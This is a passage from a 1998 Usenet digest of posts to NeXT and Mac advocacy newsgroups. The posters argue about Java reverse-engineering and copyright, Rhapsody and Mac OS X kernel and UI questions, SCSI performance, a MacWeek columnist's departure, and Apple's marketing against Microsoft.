References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com> <35ABC213.50ED7EFB@alum.mit.edu> <us51zrn3j22.fsf@ai.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 15 Jul 1998 04:31:15 GMT
Stephen Peters wrote:
> Eric Hermanson <eric@alum.mit.edu> writes:
>
> > Watch
> > them rename some methods, change some code around, and voila! They
> > are shipping a competing product!
>
> Of course, they're now guilty of copyright infringement. And because
> they're shipping in Java, too, it's easy for you to prove it in court.
I think the legal literature will support the claim that copyright infringement
suits, when it comes to software, have little chance of succeeding, and take
many, many years to litigate. I don't think anyone has sucessfully sued
Microsoft, even though they steal features like crazy. I wouldn't doubt if some
of Microsoft's code somewhere down the line is the result of reverse-engineering
some comeptitors product to some degree.
Furthermore, you don't necessarily have to copy a program in order to benefit
from seeing the source. Just understanding how something works makes it
extremely easy to do one better and pump out a superior product. Understanding
how the code is written also reduces the design and implementation time
necessary to output a competing product, whether it violates copyright laws or
not.
Note that I am absolutely not advocating this type of behavior. I am simply
saying I would feel much more secure knowing that my code is as hard to
reverse-engineer as possible. I think the present state of Java makes reverse
engineering it's object-code very easy.
> I submit that there are few companies in our lawyer-hungry society
> willing to risk their fate on a stunt like that.
As I mentioned above, I believe the legal precident is that patent infringement
suits, and software source code copyright suits usually fail miserably, and at
the very least, take many millions of dollars and many years to bring to
fruition.
Eric
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not Able to Do QuickTime Very Well?
Date: 15 Jul 1998 01:58:15 GMT
Organization: I don't think so
Message-ID: <slrn6qo3ji.217.jason@jhste1.dyn.ml.org>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <petrichEw44Br.3Cs@netcom.com>
Loren Petrich posted the following to comp.sys.mac.advocacy:
>>I made one such argument. It is based on e-mail that a former Apple
>>engineer sent to me about 8 months ago where he asserted that the kernel
>>used in Rhapsody wasn't able to host QuickTime properly. I'm sure that he
>>didn't mean for playback, so I assume that he meant for high-end,
>>professional video creation.
> If that problem is a real one, then that means that the Mach
>kernel is not sufficiently real-time for such purposes as displaying
>QuickTime video.
I doubt it. Linux kernels have something like a 10 ms timeslice, which
is adequate for 100 fps video, I'd think. Mach has finer granularity,
IIRC.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Mac OS X HW support: the too slow arguement
Message-ID: <cdoutyEw4E3x.6rM@netcom.com>
Organization: Netcom
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <35aad934.0@news.depaul.edu>
Date: Wed, 15 Jul 1998 05:04:44 GMT
Sender: cdouty@netcom3.netcom.com
In article <35aad934.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>> Pulsar <tokarek@uiuc.edu> said:
>
>> >The reasons for Mac OS X not being supported on pre-G3 PCI PowerMacs do
>> >_NOT_ involve speed (or a lack of it).
>> >
>
>
>
>> I made one such argument. It is based on e-mail that a former Apple
>> engineer sent to me about 8 months ago where he asserted that the kernel
>> used in Rhapsody wasn't able to host QuickTime properly. I'm sure that he
>> didn't mean for playback, so I assume that he meant for high-end,
>> professional video creation.
>
>> In other words, Rhapsody (and presumeably the first generation of MacOS X)
>> will not be able to handle video creation well. If this was the case, you
>> would expect Apple to abandon the highe-end video market, which is exactly
>> what they have done by abandoning the 6 PCI slot market.
>
>Clue: Rhapsody kernel = Mach 2.5+; MacOS X kernel = Mach 3
>
>The high-end video market can buy expansion chassis, if they really
>need the extra slots. Or, some enterprising company can come up
>with expensive, specialized dual-function PCI cards.
I aggree there, though I don't know the throughput requirements for these
video-editors. What are they using all the slots for?
>(Though I'm not entirely clear on why 6 slots are needed, given the
>existence of SCSI cards that can host 14 or more drives.)
Here, I can speak inteligently. UltraSCSI performance degrades with
more drives on the bus. Basically you get maximum performance with 3 or
4 devices (other than the initiator) on the bus due to timing issues,
contention for the bus, etc. SCSI *is* a bus. Only one device can speak
at a time. Add too many devices and the total throughput goes down if
you talk to all of them at once.
There is also the issue that most Mac and PC SCSI cards are for
single-ended SCSI. In the UltraSCSI implementation (20MHz clock), this
tops out at a cable length of ~1 meter. FastSCSI (10MHz clock) has a much
longer cable, but doesn't have the command set to address more than 7
devices. Unix servers usually use differential SCSI (in fast or Ultra
speeds) which has a cable length of 25 meters at the cost of a few more
dollars in parts.
Now there is a new standard called Ultra2 which uses low-voltage
differential (LVD) to give 80MBps speeds out to 15 meters at nearly the
same parts cost as single-ended. I haven't played with this yet, so I
don't know where the sweet-spot is in terms of number of devices.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 22:35:34 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1407982235340001@sdn-ar-001casbarp297.dialsprint.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <stevehix-1407982148090001@ip39.safemail.com>
In article <stevehix-1407982148090001@ip39.safemail.com>,
stevehix@safemail.com (Steve Hix) wrote:
> MacOS X Server is *not* going to ship later this year?
>
> > Unfortunately, I cannot take Apple for anything it says. They've promised
> > so much and delivered so little.
>
> So go play with someone who doesn't promise anything...
I CAN't believe you are saying this! I dont know of this issue is such a
big deal. But Apple's credibility IS A HUGE DEAL. The business market as
well as the enterprise market take such issues very seriously, and at this
point they are weary of Apple, given opendoc, the newton, copland, etc.
Apple has really done a great job getting its act together. BUT it
absolutely positively has to understand, that as a long term goal (I am
not saying it should take precedence over its short term goals) is to
REGAIN the trust of the industry.
--
So many pedestrians, so little time.
ally irrelevant as well, because it has been
a very narrow, specialized audience, has it not? And one that would
perhaps lead you to lean towards OpenStep/Yellow Box at the cost of your
objectivity on the subject.
Don't misunderstand me--I like the Yellow Box and all it stands for. I've
used NeXT boxes before, and I really like them. I'm sure OpenStep and
YellwBox are really great platforms to develop for. That's really not the
issue here. The issue here is that one person (namely, you) chose to
attack Norr's credibility because he had the temerity to disagree with
you, and disagree about a subject that could cost you a future career.
It's becoming clearer, is it not?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 06:29:00 GMT
Organization: Digital Fix Development
Message-ID: <6ohi7c$ooa$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net>
In-Reply-To: <not-1407982242490001@1-43.phx.psn.net>
On 07/14/98, Michael M. Eilers wrote:
>
>Don't misunderstand me--I like the Yellow Box and all it stands
>for. I've used NeXT boxes before, and I really like them. I'm sure
>OpenStep and YellwBox are really great platforms to develop for.
>That's really not the issue here. The issue here is that one person
>(namely, you) chose to attack Norr's credibility because he had
>the temerity to disagree with you, and disagree about a subject
>that could cost you a future career.
And you're attacking my credibility because I disagree with
Norr. He's not 'disagreeing with me'. People are acting on his 'wild
speculation' as if it is fact, which it is not.
If you read Norr's comments, he says that it is WILD
SPECULATION. His conclusion makes no sense.
As far as credentials go, I think that the people in this
group that are aware of the last 13 odd years of development that I've
done, both in the Mac and the NeXT communities are aware of my
credentials, and I don't really have any concern that you don't.
As far as it 'costing me a future career'. You're again
demonstrating that you don't have a clue about who I am, what I do,
what I've done, and why I do it.
You're attacked my credibility, but have demonstrated no
credibility yourself.
>
>It's becoming clearer, is it not?
>
I fully understand what you are saying.
The problem is that little of what you're assuming about me is
accurate.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Mac OS X UI
Message-ID: <cdoutyEw4Czw.3Ew@netcom.com>
Organization: Netcom
References: <35950368.F8A5D7A7@nstar.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <P <6oh92j$2mv$2@lwnws01.ne.highway1.com>
Date: Wed, 15 Jul 1998 04:40:44 GMT
Sender: cdouty@netcom3.netcom.com
In article <6oh92j$2mv$2@lwnws01.ne.highway1.com>,
John Kheit <jkheit@mediaone.net> wrote:
>mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>> Pejorative implications aside, you make some interesting points.
>> How much does an altimeter or turn-and-bank indicator differ when
>> it's a dial on the panel from when it's projected in space in
>> front of the pilot? How much does a HUD cost and where can I get
>> one for a Cessna 182? It would make an excellent Christmas stocking
>> stuffer, don't you think?
>
>I'd say the difference is one of life and death. I'd say different enough
>that initially pilots could *NOT* stand the UI. It was so different that it
>got in their way! And pray tell why? Because they were so used to the old
>way. (Boy does this every seem familiar). But those that persisted got
>beyond the differences and benefited by seeing through the interface and
>forgetting about it to some extent. Something that was significantly more
>difficult to do with the old setup; i.e. one *must* look down at a particular
>dial rather than passively and intuitively be fed the most pertinent
>information without changing focus.
I have to second this and point out that like all analogies, this one is
imperfect. The USAF spends considerable effort designing their HUDs and
other user interfaces. They also spend an ungodly amount of time and
money training their pilots. Training for the HUD and other potentially
distracting things is done in simulators where you can't crash and kill
yourself (not to mention wrecking an expensive plane).
I looked at HUDs for cars a while ago (and still dream about it). I know
that Detroit did likewise and may have shipped a speedometer projected
onto the windshield. Until you learn how to ignore the data projection
and actually look at the real objects out there, a novice HUD user has a
strong potential to run into things. Hence, there aren't any car HUDs as
standard equipment since most people barely learn how to drive at all.
-Chris
(what does this have to do with Rhapsody?)
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 04:49:29 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ohccp$501$1@lwnws01.ne.highway1.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com> <35ABC213.50ED7EFB@alum.mit.edu> <us51zrn3j22.fsf@ai.mit.edu>
Stephen Peters <portnoy@ai.mit.edu> wrote:
> Of course, they're now guilty of copyright infringement. And because
[snip]
> I submit that there are few companies in our lawyer-hungry society
> willing to risk their fate on a stunt like that.
Well, it didn't stop ms from duping stacker code outright. That having
somewhat stronger patent protection. It sounds too easy for people not to
snip a bit here, snip a bit there and generally get away with it. This maybe
quite a tough call in the future. Seems another reason to stick with
something like ObjC if secrecy is key. In other words, if you have trade
secrets in your JAVA code, you in essence have killed that intellectual
property by merely releasing the code to the public. Hmmm, interesting.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Start the Marketing War! It's the only way to beat MS
Message-ID: <edewEw4Ivp.14L@netcom.com>
Sender: edew@netcom20.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Wed, 15 Jul 1998 06:47:49 GMT
A lot of the posts on csna, when it's on topic and hasn't degenerated into
discussing Hitler or some such, deal primarily with the technology. We
all know that NeXT/Apple has better UI, better whatever, technologically,
over Wintel systems. But, as it is also clear to all, Wintel systems
dominate the desktop computers by a W W W I I I D D D E E E
margin.
The area to concentrate on to break that dominance is in the marketing, not
improvements to the technology (God knows there's no innovation in
technology in the MS camp).
And now, it is actually the best time to attack MS. Why? Well, because
the DoJ blew it. By blowing it, the DoJ has given MS the opening to move
into Web contents. So how is that a vulnerability? Well, now, MS is
competing in areas where there are established competitors; competitors
who know the ins and outs of the business.
Let's see:
MS goes to the travel booking business with Expedia, as well as
creating Mission Critical web sites for some airlines.
MS goes to home buying services (WSJ, Monday 7/13, B7)
MS goes into automobile sales (same article)
What does that mean? It means MS has to compete in fields they are not
the best in. They are competing against companies and people who are
experienced in these areas. And lastly, they are competing against
their customers! That's the catch. That's the sales angle: go to the
real estate agents and the insurance agents and the travel agents and
the auto dealers and ask them why they are using Windows products. First
off, Windows are not reliable. (I use WinNT at work...the keyboard still
freezes on me about once every other week, and twice this past week. Can't
get any more unreliable than that.) Macs are easier to put together.
Existing software and database? No problem! SoftPC on a Mac will run the
same program faster and more reliably. (Then, it's up to the developer
relations at Apple to bring new developers into creating Mac versions of
the code.)
And lastly, ask them why they are using a product from a company
which is also their competitor? Why should a real estate agent
pay even one dime to a company which is working on obsoleting them.
These are the business market most accessible to Apple: not too computing
intensive, not too networking intensive, and plenty of them. (With the
current job boom in the Silicon Valley, there are hundreds of new
real estate agents popping up every day.) Further more, if these agents
have robust systems in the back end for database (say, some heavy SUN
machines), it's easier for Apple to coordinate work with SUN than for
MS to do the same. We know Scott McNealy ain't going to give MS an opening
if he can avoid it.
Next, Apple will need to grab the game market. Unfortunately or not, Macs
are still thought of us toy machines by the corporations. So rather than
fighting this perception, Apple should move on with it. Take over the game
market. MS is already producing web-based games and other game programs,
so it should not be too hard for Apple to convince developers to developer
on a non-competing platform.
The tough markets? They're the financial businesses and high-tech businesses.
People there see Macs as toys, not ready for "real work." So, Apple
shouldn't go there. Let SUN and Amdahl and IBM push their heavy machinery
into that area. Sooner or later, if the business grows, they will outgrow
their current use of MS/Wintel products. They will eventually move to
some more robust system (like SUNs et al.).
How Apple can capitalize on that is to provide easy interface. What does
Windows have to interface UNIX machines? Telnet? Give me a break. Apple,
if it uses the NeXT technology already has the interface capability to other
UNIX machines. Dress up the UI, if necessary, make the networking more
transparent, and voila, the desktops will be replaced with Macs.
Apple is actually is the prime position to make the marketing move. Hit
the thousands of middle-core users (the travel agents, the auto dealers),
provide assistance and cooperation with SUN, H-P et al., for the hardcore
users.
Flame away guys.
EDEW
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Wed, 15 Jul 1998 01:17:20 -0400
Organization: BM
Message-ID: <6ohdmg$stu$1@holly.prod.itd.earthlink.net>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net>
<6oej43$n38$1@news.digifix.com> <6ogjoj$vnt$1@nnrp1.dejanews.com>
<6ogmju$g83$1@news.digifix.com> <6oh7p5$kv21@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
>Support for scripting is being built into the
>AppKit. However, there is no scripting environment announced or planned for
>Rhapsody. Scripting of Rhapsody applications MUST be done via Apple Events
>generated in the BlueBox. I had detailed discussions about this with the
>engineers working on it.
Can you talk more about this?
Ziya Oz
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 15 Jul 1998 08:58:33 +0100
Organization: DIKU
Message-ID: <1dc78v3.1okruz11xs5vy9N@ip172.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <stevehix-1407982116340001@ip39.safemail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
Steve Hix <stevehix@safemail.com> wrote:
> Waht was the average period of ownership for new cars again?
In Denmark 15 years, I think. But of course, between 80 and 90% of the
car prices are - taxes. In this country :-).
A 15-year-old computer belongs in a museum. What would it run? CP/M-80
or [at the best] the multi-user equivalent MP/M-80. On an Intel 8080 or
a Zilog Z80 processor :-).
Unless it's a mainframe the size of a room with the capacity of a 68020.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 09:23:43 GMT
Organization: the unstoppable code machine
Message-ID: <6ohsev$37k$1@leonie.object-factory.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos>
<6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com>
<6ogjvs$cti@nntp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
John Jensen wrote:
> In article <6og44u$bpf$1@leonie.object-factory.com> you wrote:
> : John Jensen wrote:
> : > I will be somewhat pleased, and not all that surprised, if Yellow
> : > ships before and better than Java. Nonetheless it annoys me when
> : > people stretch the truth in capital letters. RIGHT NOW would mean to
> : > me that you can ship your software to real customers today. Is that
> : > true?
>
> : Yes. Shocking, isn't it?
>
> Details please, what target OS are you supporting and what runtime
> packages are you shipping today to end users (ie. people without NDAs and
> pre-release software)?
Solaris, Mach 4.2 and NT/95. Mostly WOF apps on Solaris, but also GUI apps.
Lots of inhouse stuff. If you think I'll post customer names and the
application domains, sorry - no way.
Date: Wed, 15 Jul 1998 06:28:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1507980628010001@elk60.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <chaps-ya02408000R1407982254110001@nntp.netcomuk.co.uk> <35ABD621.669B3BEE@ericsson.com> <6oguso$opt$1@lwnws01.ne.highway1.com> <macghod-1407981823170001@sdn-ar-001casbarp145.dialsprint.net>
In article <macghod-1407981823170001@sdn-ar-001casbarp145.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6oguso$opt$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> > Michael Peck <Michael.Peck@ericsson.com> wrote:
> > > Scott Anguish is an advocate. Henry Norr is a journalist. Which would
> > > explain why one posts to CSNA, and the other doesn't. I hope this
> > > answers your question, Scott, regarding why anyone listens to Henry Norr
> > > (and the implicit question regarding why many fewer people listen to
> > > you).
> >
> > Umhmm. I think the major reason is Norr has been published and has name
> > recognition. The reason he was bumped, I don't know why.
>
> He claims he left because macweek wanted to be mindless mac cheerleaders,
> and he wanted to be able to stick to the facts.
Which doesn't make sense because MacWeek stopped being a Mac magazine
shortly after he left. I think the reader feedback on him was just too
negative and they didn't want him around any more.
Just my opinion, though.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 15 Jul 1998 06:34:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Distribution: world
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1507980634120001@elk60.dol.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <slrn6qnuje.1ng.jason@jhste1.dyn.ml.org> <6oguso$opt$1@lwnws01.ne.highway1.com> <6oh8cf$rs9$1@camel21.mindspring.com> <chaps-ya02408000R1507980941480001@nntp.netcomuk.co.uk>
In article <chaps-ya02408000R1507980941480001@nntp.netcomuk.co.uk>,
chaps@netcomuk.co.ukX (Stan The Man) wrote:
> In article <6oh8cf$rs9$1@camel21.mindspring.com>, Matthew Cromer
> <matthew_cromer@iname.com> wrote:
>
> >In article <macghod-1407981823170001@sdn-ar-001casbarp145.dialsprint.net>
> >Steve Sullivan, macghod@concentric.net writes:
> >>He claims he left because macweek wanted to be mindless mac cheerleaders,
> >>and he wanted to be able to stick to the facts. Being mindlessly pro
> >>anything will make one not be factual, not matter what it is.
> >>
> >
> >It appears that Steve Jobs was tired of Norr's critical editorial stand,
> >and that Apple was no longer being highly cooperative with MacWeek, not
> >lending machines to use, reducing advertising, etc.
> >
> >At least that was the word on the MacWeek boards.
> >
> >With that as an impetus, the owners of MacWeek no doubt asked Mr. Norr to
> >leave.
>
> If true, do you think that this was reasonable behaviour by Apple? If true,
> I would think a lot less of Apple for it.
I guess that would depend on what form it took. If it was a simple swap of
"you wrote bad things about us, so we're cutting ad spending", then that
would be bad (I'm sure it happens with some companies, though).
If, OTOH, it were simply a matter of "we're tired of this guy's endless
bashing of our company and trying to stab us in the back, so we're not
going out of our way to help him any more", then it's perfectly
reasonable.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 10:28:57 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6oi099$67j$1@sun27.hrz.tu-darmstadt.de>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6ofu0o$q2h@nntp02.primenet.com> <6og44u$bpf$1@leonie.object-factory.com> <6ogjvs$cti@nntp02.primenet.com> <6ohsev$37k$1@leonie.object-factory.com>
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
>John Jensen wrote:
>> In article <6og44u$bpf$1@leonie.object-factory.com> you wrote:
>> : John Jensen wrote:
>> : > I will be somewhat pleased, and not all that surprised, if Yellow
>> : > ships before and better than Java. Nonetheless it annoys me when
>> : > people stretch the truth in capital letters. RIGHT NOW would mean to
>> : > me that you can ship your software to real customers today. Is that
>> : > true?
>>
>> : Yes. Shocking, isn't it?
>>
>> Details please, what target OS are you supporting and what runtime
>> packages are you shipping today to end users (ie. people without NDAs and
>> pre-release software)?
>
>Solaris, Mach 4.2 and NT/95. Mostly WOF apps on Solaris, but also GUI apps.
>Lots of inhouse stuff. If you think I'll post customer names and the
>application domains, sorry - no way.
Holger is probably not allowed to discuss this in public, but I may
be able to shed some light.
Object-Factory does some very serious development, and they have some
very serious large customers, from large industry and the banking sector.
He's talking end users, not pre-release software.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Date: Wed, 15 Jul 1998 06:51:10 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-1507980651100001@elk60.dol.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> In article <mNOSPAMroeder-1407981257200001@192.168.21.171>,
> mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>
> > In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > On 14 Jul 1998, John Kheit wrote:
> > >
> > > I think John is refering to the fact that Apple is not significantly
> > > advancing or replacing the same old Mac OS UI. Mac OS X and Rhapsody don't
> > > have any UI direction shifts. Little attempt was apparently made to
> > > improve the Mac OS UI and the NeXT UI.
> >
> > That's because the Mac UI works well and people know it.
>
> Are you suggesting that the Mac UI is the epitome of UIs and that no
> significant improvement is possible?
This looks like a major straw man argument.
Even the most avid Mac fans wouldn't say the OS is perfect. But it is one
of the best available. Since it's one of the best and is already familiar
to most customers, why not use it as the basis for further improvements?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 15 Jul 1998 06:48:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-1507980648180001@elk60.dol.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com>
In article <m%_q1.191$E5.1672335@proxye1.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> Michael Roeder wrote in message ...
> >In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
> >Pulsar <tokarek@uiuc.edu> wrote:
> >
> >> On 14 Jul 1998, John Kheit wrote:
> >>
> >> I think John is refering to the fact that Apple is not significantly
> >> advancing or replacing the same old Mac OS UI. Mac OS X and Rhapsody
> don't
> >> have any UI direction shifts. Little attempt was apparently made to
> >> improve the Mac OS UI and the NeXT UI.
> >
> >That's because the Mac UI works well and people know it.
>
>
> The Mac UI works. It's debatable whether it works *well.*
>
It wouldn't be much of a debate.
Which OS has the highest productivity?
Which OS has the best ease of use?
Which OS has the lowest TCO?
The answer to all of these is "Mac OS". That's working well in my book.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
